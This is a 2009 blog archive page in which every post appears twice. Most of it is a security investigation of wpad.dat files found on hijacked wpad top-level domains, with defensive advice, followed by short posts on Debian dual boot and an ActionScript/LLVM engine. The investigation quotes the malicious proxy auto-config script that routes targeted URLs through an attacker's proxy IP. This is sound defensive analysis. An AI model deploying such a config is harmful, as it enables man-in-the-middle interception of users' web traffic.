Archive for May, 2009
The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part IV
Posted by Luca Invernizzi in Security on May 31, 2009
If you use firefox on a GNU/Linux machine, you can help us in finding which sites are the targets of the Wpad exploit we blogged about (see part 3, part 2 and part 1 ).
Alessandro and I have written a script that checks the WPAD italian regular expression,
function FindProxyForURL(url, host) { //regular expression/complexity supported? if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; } return "DIRECT"; }
against the browser history. Please make sure to close firefox before running the script (since it accesses directly its history database, which is locked when the browser is running), and please report any positive matches. Download the script by following this link.
The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part IV
Posted by Luca Invernizzi in Security on May 31, 2009
If you use firefox on a GNU/Linux machine, you can help us in finding which sites are the targets of the Wpad exploit we blogged about (see part 3, part 2 and part 1 ).
Alessandro and I have written a script that checks the WPAD italian regular expression,
function FindProxyForURL(url, host) { //regular expression/complexity supported? if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; } return "DIRECT"; }
against the browser history. Please make sure to close firefox before running the script (since it accesses directly its history database, which is locked when the browser is running), and please report any positive matches. Download the script by following this link.
The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part III
Posted by Jacopo Corbetta in Security on May 30, 2009
Some weeks ago I (Jacopo Corbetta) and Luca Invernizzi wrote about a curious Man-In-The-Middle potential attack exploting flaws in the Web Proxy Automatic Discovery (WPAD) and DNS protocols. Long story short, if you register a wpad.domain name you might be able to perform a very stealthy Man-In-The-Middle attack. Now, DNS is complicated and programs are buggy, so hijacking a wpad.Top-Level-Domain name like wpad.com (or wpad.it or (!) wroclaw.pl) could expose a lot of computers to your attack.
You might recall that I was puzzled by the content of wpad.it/wpad.dat and wondered what Italian sites were targeted. Then Luca pointed out it was registered by a polish guy, and that he identified one of the possible targets as systempartnerski.pl.
We had in mind to run some analysis and then alert the registrars before posting again, but since the WPAD topic got attention on BugTraq yesterday it may be more timely to publish our results now.
UPDATE: The wpad.dat served by the polish guy changed! It appears they removed the site identified by Luca! The file was still in the original form when we reported our findings to the Italian security mailing list sikurezza.org (see this message posted on 21/05, Alessandro posted our results on 18/05). This thing is getting interesting... Anyway, here’s the new file:
function FindProxyForURL(url, host) { //regular expressions supported? if ( shExpMatch(url, "http*//*g*ad*nd*c*m*sh*ds*js") ) return "PROXY 72.55.164.182:80"; return "DIRECT"; } |
Hunting for WPAD exploits
As we wrote before, the only reliable list of effective top level domains is the one used in the Mozilla code, publicly maintained at publicsuffix.org. Each of these domains — if registered — could hide a malicious wpad.dat with potentially wide reach.
We think security-conscious DNS registrars should deny any request for these names — regardless of whether the underlying WPAD vulnerability is widespread or not, we should do everything in our power to reduce the attack potential.
In our first random probes, we found the same strange wpad.dat on wpad.it, wpad.cz and wpad.pl But then we got curious: how common is this problem? How many wpad.dats are found in the wild? So I wrote a small python script which attempted to resolve all wpad.tld names and to retrieve the associated wpad.tld/wpad.dats.
The TLD menace
There are something like 3370 top-level-domains in the publicsuffix.org list. 122 wpad.top-level-domain are actually registered and return an IP address. 62 of them return data when asked for a wpad.dat over HTTP.
11 of those wpad.dats look like generic “domain parking” pages. I am not completely sure, since I don’t speak all those languages. Here’s the list:
.ar.com .cm .gouv.rw .ph .st .tv .cg .co.st .kiev.ua .rw .tk
The wpad.cn/wpad.dat and wpad.net.ua/wpad.dat also look like some kind of redirect pages. This brings the total of innocuous1 domains to 13.
The wpad domains for Switzerland and Liechtenstein (.ch and .li) return a “neutral” wpad.dat (that is, no proxy for any URL). For .tsaritsyn.ru and .volgograd.ru an empty file is returned. I don’t know if this means that the wpad domain name was claimed by some good guy (like the one who registered wpad.com, for example). To be completely sure we would need to perform the query from Switzerland or Russia.2
The wpad.dats for vn.ua, ptz.ru and karelia.ru look quite complicated and might even be legitimate proxying attempts by a regional ISP. Additional investigation would be required. Here are the files.
The remaining 42 wpad domains were serving exactly the same wpad.dat file (now they have changed it! See our update on top) (indented for clarity):
function FindProxyForURL(url, host) { //regular expression/complexity supported? if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; } return "DIRECT"; } |
All of these domains look have probably been registered by the same guy (even if WHOIS records are inconclusive). The whois for wpad.pl even has his name (don’t know if it is accurate, though, so we’ll avoid posting names). Here is the list of affected domains:
.asia .at .be .bialystok.pl .biz.pl .bydgoszcz.pl .cc .co.at .com.es .com.pl .com.tw .cz .edu.pl .es .in .it .katowice.pl .name .net.cn .net.in .net.pl .nom.es .olsztyn.pl .opole.pl .org.cn .org.es .org.in .org.pl .org.tw .pl .radom.pl .ro .rzeszow.pl .sk .slask.pl .szczecin.pl .tw .warszawa.pl .waw.pl .wroclaw.pl .ws .zgora.pl
As you can see, our friend has been able to grab the global wpad domain for 12 countries including Poland, Italy, Spain, Austria, Belgium, the Czech Republic, Romania and India.
Final thoughts and mysteries
The most obvious recommendation is that you register wpad.yourdomain.com in your organization DNS (e.g. since our beloved school has sssup.it and we administrate the allievi.sssup.it subdomain, we have associated wpad.allievi.sssup.it with a meaningless IP and we’ll recommend the network staff to do the same with wpad.sssup.it). This will immediately stop the search for a wpad.dat by your clients.
We would also recommend registrars to delete wpad.domain entries or at least to avoid accepting new ones. As time allows (the exam session is near!) we’ll bring this matter to the attention of the registrar admins, let’s hope they listen to us. If someone with a big name is reading this (cool!), you might wish to contact some DNS authorities.
While Luca cracked the second wildcard expression (http*//*s*st*mp*tn*sk*p*), we still have no idea about which sites are targeted by the first one (http://*g*ad*nd*c*m*sh*ds*js, maybe a JavaScript file?). And why did they use such a wide exclusion pattern (http*//*n*o.*) in the original file? Also, the proxy isn’t working for us — maybe they are answering only to IPs in Poland?
Now that some days ago the polish guys changed their wpad.dat we wonder what should be our next move... and what will be their next move! We’ll post updates here, so stay tuned.
- The wpad.dat file has to be in a special Java-Script like format, see findproxyforurl.com for details [↩]
- The wpad.ch server might be serving a harmless wpad.dat to foreign hunters and a malicious one to domestic victims (of course, this applies to all domains in this list — with the possible exception of Italy, our home country) [↩]
The misterious Web Proxy Automatic Discovery (WPAD) Italian exploit — Part III
Posted by Jacopo Corbetta in Security on May 30, 2009
Some weeks ago I (Jacopo Corbetta) and Luca Invernizzi wrote about a curious Man-In-The-Middle potential attack exploting flaws in the Web Proxy Automatic Discovery (WPAD) and DNS protocols. Long story short, if you register a wpad.domain name you might be able to perform a very stealthy Man-In-The-Middle attack. Now, DNS is complicated and programs are buggy, so hijacking a wpad.Top-Level-Domain name like wpad.com (or wpad.it or (!) wroclaw.pl) could expose a lot of computers to your attack.
You might recall that I was puzzled by the content of wpad.it/wpad.dat and wondered what Italian sites were targeted. Then Luca pointed out it was registered by a polish guy, and that he identified one of the possible targets as systempartnerski.pl.
We had in mind to run some analysis and then alert the registrars before posting again, but since the WPAD topic got attention on BugTraq yesterday it may be more timely to publish our results now.
UPDATE: The wpad.dat served by the polish guy changed! It appears they removed the site identified by Luca! The file was still in the original form when we reported our findings to the Italian security mailing list sikurezza.org (see this message posted on 21/05, Alessandro posted our results on 18/05). This thing is getting interesting... Anyway, here’s the new file:
function FindProxyForURL(url, host) { //regular expressions supported? if ( shExpMatch(url, "http*//*g*ad*nd*c*m*sh*ds*js") ) return "PROXY 72.55.164.182:80"; return "DIRECT"; } |
Hunting for WPAD exploits
As we wrote before, the only reliable list of effective top level domains is the one used in the Mozilla code, publicly maintained at publicsuffix.org. Each of these domains — if registered — could hide a malicious wpad.dat with potentially wide reach.
We think security-conscious DNS registrars should deny any request for these names — regardless of whether the underlying WPAD vulnerability is widespread or not, we should do everything in our power to reduce the attack potential.
In our first random probes, we found the same strange wpad.dat on wpad.it, wpad.cz and wpad.pl But then we got curious: how common is this problem? How many wpad.dats are found in the wild? So I wrote a small python script which attempted to resolve all wpad.tld names and to retrieve the associated wpad.tld/wpad.dats.
The TLD menace
There are something like 3370 top-level-domains in the publicsuffix.org list. 122 wpad.top-level-domain are actually registered and return an IP address. 62 of them return data when asked for a wpad.dat over HTTP.
11 of those wpad.dats look like generic “domain parking” pages. I am not completely sure, since I don’t speak all those languages. Here’s the list:
.ar.com .cm .gouv.rw .ph .st .tv .cg .co.st .kiev.ua .rw .tk
The wpad.cn/wpad.dat and wpad.net.ua/wpad.dat also look like some kind of redirect pages. This brings the total of innocuous1 domains to 13.
The wpad domains for Switzerland and Liechtenstein (.ch and .li) return a “neutral” wpad.dat (that is, no proxy for any URL). For .tsaritsyn.ru and .volgograd.ru an empty file is returned. I don’t know if this means that the wpad domain name was claimed by some good guy (like the one who registered wpad.com, for example). To be completely sure we would need to perform the query from Switzerland or Russia.2
The wpad.dats for vn.ua, ptz.ru and karelia.ru look quite complicated and might even be legitimate proxying attempts by a regional ISP. Additional investigation would be required. Here are the files.
The remaining 42 wpad domains were serving exactly the same wpad.dat file (now they have changed it! See our update on top) (indented for clarity):
function FindProxyForURL(url, host) { //regular expression/complexity supported? if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js")) || (shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url, "http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; } return "DIRECT"; } |
All of these domains look have probably been registered by the same guy (even if WHOIS records are inconclusive). The whois for wpad.pl even has his name (don’t know if it is accurate, though, so we’ll avoid posting names). Here is the list of affected domains:
.asia .at .be .bialystok.pl .biz.pl .bydgoszcz.pl .cc .co.at .com.es .com.pl .com.tw .cz .edu.pl .es .in .it .katowice.pl .name .net.cn .net.in .net.pl .nom.es .olsztyn.pl .opole.pl .org.cn .org.es .org.in .org.pl .org.tw .pl .radom.pl .ro .rzeszow.pl .sk .slask.pl .szczecin.pl .tw .warszawa.pl .waw.pl .wroclaw.pl .ws .zgora.pl
As you can see, our friend has been able to grab the global wpad domain for 12 countries including Poland, Italy, Spain, Austria, Belgium, the Czech Republic, Romania and India.
Final thoughts and mysteries
The most obvious recommendation is that you register wpad.yourdomain.com in your organization DNS (e.g. since our beloved school has sssup.it and we administrate the allievi.sssup.it subdomain, we have associated wpad.allievi.sssup.it with a meaningless IP and we’ll recommend the network staff to do the same with wpad.sssup.it). This will immediately stop the search for a wpad.dat by your clients.
We would also recommend registrars to delete wpad.domain entries or at least to avoid accepting new ones. As time allows (the exam session is near!) we’ll bring this matter to the attention of the registrar admins, let’s hope they listen to us. If someone with a big name is reading this (cool!), you might wish to contact some DNS authorities.
While Luca cracked the second wildcard expression (http*//*s*st*mp*tn*sk*p*), we still have no idea about which sites are targeted by the first one (http://*g*ad*nd*c*m*sh*ds*js, maybe a JavaScript file?). And why did they use such a wide exclusion pattern (http*//*n*o.*) in the original file? Also, the proxy isn’t working for us — maybe they are answering only to IPs in Poland?
Now that some days ago the polish guys changed their wpad.dat we wonder what should be our next move... and what will be their next move! We’ll post updates here, so stay tuned.
- The wpad.dat file has to be in a special Java-Script like format, see findproxyforurl.com for details [↩]
- The wpad.ch server might be serving a harmless wpad.dat to foreign hunters and a malicious one to domestic victims (of course, this applies to all domains in this list — with the possible exception of Italy, our home country) [↩]
Dual boot, the clean Debian way
Posted by Alessandro Pignotti in Debian, Sysadmin Kung Fu on May 22, 2009
Just a little trick I’ve found while installing Windows Vista on a Debian powered pc. If you want Grub2 to find and configure dual boot automagically, just install the package os-prober.
The update-grub command will now take care of your operating system pantheon for you.
Dual boot, the clean Debian way
Posted by Alessandro Pignotti in Debian, Sysadmin Kung Fu on May 22, 2009
Just a little trick I’ve found while installing Windows Vista on a Debian powered pc. If you want Grub2 to find and configure dual boot automagically, just install the package os-prober.
The update-grub command will now take care of your operating system pantheon for you.
ActionScript meets LLVM: part I
Posted by Alessandro Pignotti in Insane Projects on May 17, 2009
One of the major challenges in the design of lightspark is the ActionScript execution engine. Most of the more recent flash content is almost completely build out of the ActionScript technology, which with version 3.0 matured enough to become a foundational block of the current, and probably future web. The same technology is going to become also widespread offline if the Adobe AIR platform succeedes as a cross platform application framework.
But what is ActionScript? Basically it is an almost ECMAscript complaiant language; the specification covers the language itself, a huge library of components and the bytecode format that is used to deliver code to the clients, usually as part of a SWF (flash) file.
The bytecode models a stack-machine as most of the arguments are passed on the stack and not as operands in the code. This operational description — although quite dense — requires a lot of stack traffic, even for simple computations. It should be noted that modern x86/amd64 processors employ specific stack tracing units to optimize out such traffic, but this is highly architecture dependent and not guaranteed.
LLVM (which stands fot Low-Level Virtual Machine) is on the other hand based on an Intermediate Language in SSA form. This means that each symbol can be assigned only one time. This form is extremely useful when doing optimization over the code. LLVM offers a nice interface for a bunch of feature, most notably sophisticated optimization of the code and Just-In-Time compilation to native assemply.
The challenge is: how to exploit llvm power to build a fast ActionScript engine.
The answer is, as usual, a matter of compromises. Quite a lot of common usage patterns of the stack-machine can be heavily optimized with limited work, for example most of the data pushed on the stack is going to be used right away! More details on this on the next issue...
ActionScript meets LLVM: part I
Posted by Alessandro Pignotti in Insane Projects on May 17, 2009
One of the major challenges in the design of lightspark is the ActionScript execution engine. Most of the more recent flash content is almost completely build out of the ActionScript technology, which with version 3.0 matured enough to become a foundational block of the current, and probably future web. The same technology is going to become also widespread offline if the Adobe AIR platform succeedes as a cross platform application framework.
But what is ActionScript? Basically it is an almost ECMAscript complaiant language; the specification covers the language itself, a huge library of components and the bytecode format that is used to deliver code to the clients, usually as part of a SWF (flash) file.
The bytecode models a stack-machine as most of the arguments are passed on the stack and not as operands in the code. This operational description — although quite dense — requires a lot of stack traffic, even for simple computations. It should be noted that modern x86/amd64 processors employ specific stack tracing units to optimize out such traffic, but this is highly architecture dependent and not guaranteed.
LLVM (which stands fot Low-Level Virtual Machine) is on the other hand based on an Intermediate Language in SSA form. This means that each symbol can be assigned only one time. This form is extremely useful when doing optimization over the code. LLVM offers a nice interface for a bunch of feature, most notably sophisticated optimization of the code and Just-In-Time compilation to native assemply.
The challenge is: how to exploit llvm power to build a fast ActionScript engine.
The answer is, as usual, a matter of compromises. Quite a lot of common usage patterns of the stack-machine can be heavily optimized with limited work, for example most of the data pushed on the stack is going to be used right away! More details on this on the next issue...